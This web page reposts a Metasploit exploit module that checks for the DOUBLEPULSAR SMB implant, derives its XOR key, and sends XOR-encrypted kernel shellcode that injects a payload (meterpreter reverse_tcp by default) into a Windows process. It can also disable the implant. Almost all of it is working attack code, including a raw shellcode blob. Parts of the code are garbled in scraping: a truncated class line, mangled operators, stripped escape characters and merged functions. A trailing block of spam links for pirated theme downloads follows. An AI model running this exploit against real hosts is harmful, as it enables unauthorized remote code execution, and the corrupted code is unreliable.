DOUBLEPULSAR – Payload Execution and Neutralization (Metasploit) – DigitalMunition




Exploit spider-orange.png

Published on October 5th, 2019 📆 | 8283 Views ⚑

0

DOUBLEPULSAR – Payload Execution and Neutralization (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule  'DOUBLEPULSAR Payload Execution and Neutralization',
      'Description'      => %q{
        This module executes a Metasploit payload against the Equation Group's
        DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.

        While this module primarily performs code execution against the implant,
        the "Neutralize implant" target allows you to disable the implant.
      },
      'Author'           => [
        'Equation Group', # DOUBLEPULSAR implant
        'Shadow Brokers', # Equation Group dump
        'zerosum0x0',     # DOPU analysis and detection
        'Luke Jennings',  # DOPU analysis and detection
        'wvu',            # Metasploit module and arch detection
        'Jacob Robles'    # Metasploit module and RCE help
      ],
      'References'       => [
        ['MSB', 'MS17-010'],
        ['CVE', '2017-0143'],
        ['CVE', '2017-0144'],
        ['CVE', '2017-0145'],
        ['CVE', '2017-0146'],
        ['CVE', '2017-0147'],
        ['CVE', '2017-0148'],
        ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
        ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
        ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
        ['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
        ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
        ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
      ],
      'DisclosureDate'   => '2017-04-14',
      'License'          => MSF_LICENSE,
      'Platform'         => 'win',
      'Arch'             => ARCH_X64,
      'Privileged'       => true,
      'Payload'          => {
        'Space'          => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
        'DisableNops'    => true
      },
      'Targets'          => [
        ['Execute payload',    {}],
        ['Neutralize implant', {}]
      ],
      'DefaultTarget'    => 0,
      'DefaultOptions'   => {
        'EXITFUNC'       => 'thread',
        'PAYLOAD'        => 'windows/x64/meterpreter/reverse_tcp'
      },
      'Notes'            => {
        'AKA'            => ['DOUBLEPULSAR'],
        'RelatedModules' => [
          'auxiliary/scanner/smb/smb_ms17_010',
          'exploit/windows/smb/ms17_010_eternalblue'
        ],
        'Stability'      => [CRASH_SAFE],
        'Reliability'    => [REPEATABLE_SESSION]
      }
    ))

    register_advanced_options([
      OptBool.new('DefangedMode',  [true, 'Run in defanged mode', true]),
      OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
    ])
  end

  OPCODES = {
    ping: 0x23,
    exec: 0xc8,
    kill: 0x77
  }

  STATUS_CODES = {
    not_detected:   0x00,
    success:        0x10,
    invalid_params: 0x20,
    alloc_failure:  0x30
  }

  def calculate_doublepulsar_status(m1, m2)
    STATUS_CODES.key(m2.to_i - m1.to_i)
  end

  # algorithm to calculate the XOR Key for DoublePulsar knocks
  def calculate_doublepulsar_xor_key(s)
    x = (2 * s ^ (((s & 0xff00 | (s < < 16)) <> 16) | s & 0xff0000) >> 8)))
    x & 0xffffffff  # this line was added just to truncate to 32 bits
  end

  # The arch is adjacent to the XOR key in the SMB signature
  def calculate_doublepulsar_arch(s)
    s == 0 ? ARCH_X86 : ARCH_X64
  end

  def generate_doublepulsar_timeout(op)
    k = SecureRandom.random_bytes(4).unpack('V').first
    0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
  end

  def generate_doublepulsar_param(op, body)
    case OPCODES.key(op)
    when :ping, :kill
      "x00" * 12
    when :exec
      Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
    end
  end

  def check
    ipc_share = "\#{rhost}IPC$"

    @tree_id = do_smb_setup_tree(ipc_share)
    vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
    vprint_status("Target OS is #{smb_peer_os}")

    vprint_status('Sending ping to DOUBLEPULSAR')
    code, signature1, signature2 = do_smb_doublepulsar_pkt
    msg = 'Host is likely INFECTED with DoublePulsar!'

    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
      @xor_key = calculate_doublepulsar_xor_key(signature1)
      @arch = calculate_doublepulsar_arch(signature2)

      arch_str =
        case @arch
        when ARCH_X86
          'x86 (32-bit)'
        when ARCH_X64
          'x64 (64-bit)'
        end

      vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
      CheckCode::Vulnerable
    when :not_detected
      vprint_error('DOUBLEPULSAR not detected or disabled')
      CheckCode::Safe
    else
      vprint_error('An unknown error occurred')
      CheckCode::Unknown
    end
  end

  def exploit
    if datastore['DefangedMode']
      warning = < <~EOF


        Are you SURE you want to execute code against a nation-state implant?
        You MAY contaminate forensic evidence if there is an investigation.

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    # No ForceExploit because @tree_id and @xor_key are required
    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
    end

    case target.name
    when 'Execute payload'
      unless @xor_key
        fail_with(Failure::NotFound, 'XOR key not found')
      end

      if @arch == ARCH_X86
        fail_with(Failure::NoTarget, 'x86 is not a supported target')
      end

      print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
      shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
      shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
      vprint_status("Total shellcode length: #{shellcode.length} bytes")

      print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
      xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)

      print_status('Sending shellcode to DOUBLEPULSAR')
      code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
    when 'Neutralize implant'
      return neutralize_implant
    end

    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
      print_good('Payload execution successful')
    when :invalid_params
      fail_with(Failure::BadConfig, 'Invalid parameters were specified')
    when :alloc_failure
      fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
    else
      fail_with(Failure::Unknown, 'An unknown error occurred')
    end
  ensure
    disconnect
  end

  def neutralize_implant
    print_status('Neutralizing DOUBLEPULSAR')
    code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])

    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
      print_good('Implant neutralization successful')
    else
      fail_with(Failure::Unknown, 'An unknown error occurred')
    end
  end

  def do_smb_setup_tree(ipc_share)
    connect

    # logon as user 
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

    # connect to IPC$
    simple.connect(ipc_share)

    # return tree
    simple.shares[ipc_share]
  end

  def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
    # make doublepulsar knock
    pkt = make_smb_trans2_doublepulsar(opcode, body)

    sock.put(pkt)
    bytes = sock.get_once

    return unless bytes

    # convert packet to response struct
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
    pkt.from_s(bytes[4..-1])

    return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
  end

  def make_smb_trans2_doublepulsar(opcode, body)
    setup_count = 1
    setup_data = [0x000e].pack('v')

    param = generate_doublepulsar_param(opcode, body)
    data = param + body.to_s

    pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])

    base_offset = pkt.to_s.length + (setup_count * 2) - 4
    param_offset = base_offset
    data_offset = param_offset + param.length

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0xc007

    @multiplex_id = rand(0xffff)

    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
    pkt['Payload']['SMB'].v['TreeID'] = @tree_id
    pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id

    pkt['Payload'].v['ParamCountTotal'] = param.length
    pkt['Payload'].v['DataCountTotal'] = body.to_s.length
    pkt['Payload'].v['ParamCountMax'] = 1
    pkt['Payload'].v['DataCountMax'] = 0
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataCount'] = body.to_s.length
    pkt['Payload'].v['DataOffset'] = data_offset
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup_data
    pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
    pkt['Payload'].v['Payload'] = data

    pkt.to_s
  end

  # ring3 = user mode encoded payload
  # proc_name = process to inject APC into
  def make_kernel_user_payload(ring3, proc_name)
    sc = make_kernel_shellcode(proc_name)

    sc << [ring3.length].pack("S<")
    sc << ring3

    sc
  end

  def generate_process_hash(process)
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    proc_hash = 0
    process << "x00"

    process.each_byte do |c|
      proc_hash  = ror(proc_hash, 13)
      proc_hash += c
    end

    [proc_hash].pack('l> bits | dword < < (32 - bits)) & 0xFFFFFFFF
  end

  def make_kernel_shellcode(proc_name)
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    # Length: 780 bytes
    "x31xc9x41xe2x01xc3x56x41x57x41x56x41x55x41x54x53" +
    "x55x48x89xe5x66x83xe4xf0x48x83xecx20x4cx8dx35xe3" +
    "xffxffxffx65x4cx8bx3cx25x38x00x00x00x4dx8bx7fx04" +
    "x49xc1xefx0cx49xc1xe7x0cx49x81xefx00x10x00x00x49" +
    "x8bx37x66x81xfex4dx5ax75xefx41xbbx5cx72x11x62xe8" +
    "x18x02x00x00x48x89xc6x48x81xc6x08x03x00x00x41xbb" +
    "x7axbaxa3x30xe8x03x02x00x00x48x89xf1x48x39xf0x77" +
    "x11x48x8dx90x00x05x00x00x48x39xf2x72x05x48x29xc6" +
    "xebx08x48x8bx36x48x39xcex75xe2x49x89xf4x31xdbx89" +
    "xd9x83xc1x04x81xf9x00x00x01x00x0fx8dx66x01x00x00" +
    "x4cx89xf2x89xcbx41xbbx66x55xa2x4bxe8xbcx01x00x00" +
    "x85xc0x75xdbx49x8bx0ex41xbbxa3x6fx72x2dxe8xaax01" +
    "x00x00x48x89xc6xe8x50x01x00x00x41x81xf9" +
    generate_process_hash(proc_name.upcase) +
    "x75xbcx49x8bx1ex4dx8dx6ex10x4cx89xeax48x89xd9" +
    "x41xbbxe5x24x11xdcxe8x81x01x00x00x6ax40x68x00x10" +
    "x00x00x4dx8dx4ex08x49xc7x01x00x10x00x00x4dx31xc0" +
    "x4cx89xf2x31xc9x48x89x0ax48xf7xd1x41xbbx4bxcax0a" +
    "xeex48x83xecx20xe8x52x01x00x00x85xc0x0fx85xc8x00" +
    "x00x00x49x8bx3ex48x8dx35xe9x00x00x00x31xc9x66x03" +
    "x0dxd7x01x00x00x66x81xc1xf9x00xf3xa4x48x89xdex48" +
    "x81xc6x08x03x00x00x48x89xf1x48x8bx11x4cx29xe2x51" +
    "x52x48x89xd1x48x83xecx20x41xbbx26x40x36x9dxe8x09" +
    "x01x00x00x48x83xc4x20x5ax59x48x85xc0x74x18x48x8b" +
    "x80xc8x02x00x00x48x85xc0x74x0cx48x83xc2x4cx8bx02" +
    "x0fxbaxe0x05x72x05x48x8bx09xebxbex48x83xeax4cx49" +
    "x89xd4x31xd2x80xc2x90x31xc9x41xbbx26xacx50x91xe8" +
    "xc8x00x00x00x48x89xc1x4cx8dx89x80x00x00x00x41xc6" +
    "x01xc3x4cx89xe2x49x89xc4x4dx31xc0x41x50x6ax01x49" +
    "x8bx06x50x41x50x48x83xecx20x41xbbxacxcex55x4bxe8" +
    "x98x00x00x00x31xd2x52x52x41x58x41x59x4cx89xe1x41" +
    "xbbx18x38x09x9exe8x82x00x00x00x4cx89xe9x41xbbx22" +
    "xb7xb3x7dxe8x74x00x00x00x48x89xd9x41xbbx0dxe2x4d" +
    "x85xe8x66x00x00x00x48x89xecx5dx5bx41x5cx41x5dx41" +
    "x5ex41x5fx5exc3xe9xb5x00x00x00x4dx31xc9x31xc0xac" +
    "x41xc1xc9x0dx3cx61x7cx02x2cx20x41x01xc1x38xe0x75" +
    "xecxc3x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52" +
    "x20x48x8bx12x48x8bx72x50x48x0fxb7x4ax4ax45x31xc9" +
    "x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1" +
    "xe2xeex45x39xd9x75xdax4cx8bx7ax20xc3x4cx89xf8x41" +
    "x51x41x50x52x51x56x48x89xc2x8bx42x3cx48x01xd0x8b" +
    "x80x88x00x00x00x48x01xd0x50x8bx48x18x44x8bx40x20" +
    "x49x01xd0x48xffxc9x41x8bx34x88x48x01xd6xe8x78xff" +
    "xffxffx45x39xd9x75xecx58x44x8bx40x24x49x01xd0x66" +
    "x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48" +
    "x01xd0x5ex59x5ax41x58x41x59x41x5bx41x53xffxe0x56" +
    "x41x57x55x48x89xe5x48x83xecx20x41xbbxdax16xafx92" +
    "xe8x4dxffxffxffx31xc9x51x51x51x51x41x59x4cx8dx05" +
    "x1ax00x00x00x5ax48x83xecx20x41xbbx46x45x1bx22xe8" +
    "x68xffxffxffx48x89xecx5dx41x5fx5exc3"
  end

  def kernel_shellcode_size
    make_kernel_shellcode('').length
  end

end
            

https://www.exploit-db.com/exploits/47456

Download WordPress Themes
Download Premium WordPress Themes Free
Premium WordPress Themes Download
Download WordPress Themes Free
udemy course download free

Tagged with:



Leave a Reply ✍


loading...